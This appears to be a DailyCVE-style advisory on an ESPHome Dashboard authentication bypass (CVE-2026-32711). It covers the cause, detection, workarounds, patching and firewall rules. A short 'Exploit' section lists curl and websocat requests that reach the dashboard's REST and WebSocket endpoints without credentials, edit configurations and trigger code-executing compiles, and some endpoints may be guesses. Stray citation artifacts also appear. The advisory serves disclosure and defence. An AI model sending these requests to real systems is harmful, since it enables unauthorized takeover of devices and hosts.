ESPHome Dashboard, Authentication Bypass, CVE-2026-32711 (Critical) -DC-Sep2026-2377

Listen to this Post

ESPHome Dashboard contains an authentication bypass vulnerability (CVE-2026-32711) stemming from a backward compatibility break introduced during an environment variable rename. The dashboard resolves authentication credentials in DashboardSettings.parse_args, originally reading `os.getenv(“USERNAME”)` and os.getenv("PASSWORD"). A rename (PR 265) replaced these with `ESPHOME_USERNAME` and `ESPHOME_PASSWORD` while intentionally removing the bare names because `$USERNAME` collides with the OS login user on Linux and Windows, silently promoting the shell user to the dashboard username【1†L8-L12】. The rename closed that footgun but introduced a critical regression: deployments that set only the bare $USERNAME/$PASSWORD names now resolve to no credentials, `using_password` becomes false, and both the REST auth middleware and WebSocket login gate are disabled【1†L13-L15】. The process logs a “WITHOUT AUTHENTICATION” banner at startup, but a container started detached via `docker run -d` never surfaces it, making the exposure silent in practice. This affects the `dashboard` subcommand of the `ghcr.io/esphome/esphome` container, which pins `esphome-device-builder` and execs it, inheriting whatever environment the operator passed. The standalone Docker path runs without --ha-addon, making it the affected path. Home Assistant add-on installs are not affected because they pass `–ha-addon` and authenticate through the supervisor ingress proxy【1†L15-L18】. An unauthenticated network client crossing this boundary gains host-equivalent capability, including arbitrary code execution at compile time and read/write access to config and data directories.

DailyCVE Form

Platform: ESPHome Dashboard
Version: esphome-device-builder <1.0.12
Vulnerability: Auth Bypass
Severity: Critical
date: 2026.6.0

Prediction: 2026.6.2

What Undercode Say:

Detect vulnerable deployment:

Check if running affected esphome-device-builder version
docker exec <container_id> pip show esphome-device-builder
Check environment variables in running container
docker inspect <container_id> | grep -E "USERNAME|PASSWORD"
Check startup logs for WITHOUT AUTHENTICATION banner
docker logs <container_id> 2>&1 | grep -i "WITHOUT AUTHENTICATION"

Apply workaround on affected version:

Stop the container
docker stop <container_id>
Restart with new environment variable names
docker run -d \
-e ESPHOME_USERNAME=<your-username> \
-e ESPHOME_PASSWORD=<your-password> \
-p 6052:6052 \
ghcr.io/esphome/esphome dashboard /config
Verify authentication is now enforced
curl -v http://localhost:6052/

Exploit: (Educational Purposes!)

Unauthenticated access to dashboard REST API
curl -X GET http://<target>:6052/devices
Modify device configuration without credentials
curl -X POST http://<target>:6052/edit \
-H "Content-Type: application/json" \
-d '{"file":"config.yaml","content":"malicious_config"}'
Trigger firmware compilation (arbitrary code execution)
curl -X POST http://<target>:6052/compile \
-H "Content-Type: application/json" \
-d '{"file":"config.yaml"}'
Access WebSocket endpoint without login
websocat ws://<target>:6052/ws

Protection:

Immediate mitigation: set new environment variables
export ESPHOME_USERNAME=<your-username>
export ESPHOME_PASSWORD=<your-password>
For Docker deployments
docker run -d \
-e ESPHOME_USERNAME=<your-username> \
-e ESPHOME_PASSWORD=<your-password> \
ghcr.io/esphome/esphome dashboard /config
Upgrade to patched version
docker pull ghcr.io/esphome/esphome:2026.6.2
Network-level protection
iptables -A INPUT -p tcp --dport 6052 -s <trusted_network> -j ACCEPT
iptables -A INPUT -p tcp --dport 6052 -j DROP

Impact:

An unauthenticated attacker with network access to the dashboard port can fully manage ESPHome devices, including editing configurations and flashing firmware. ESPHome’s threat model documents that an authenticated dashboard caller can run arbitrary code at compile time and read or write files in the config and data directories, resulting in High confidentiality, integrity, and availability impact. The vulnerability requires no credentials, no user interaction, and has low attack complexity. Only deployments relying on bare $USERNAME/$PASSWORD environment variables are affected; those using --username/--password, the new `$ESPHOME_` variables, or HA add-on ingress are not vulnerable.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top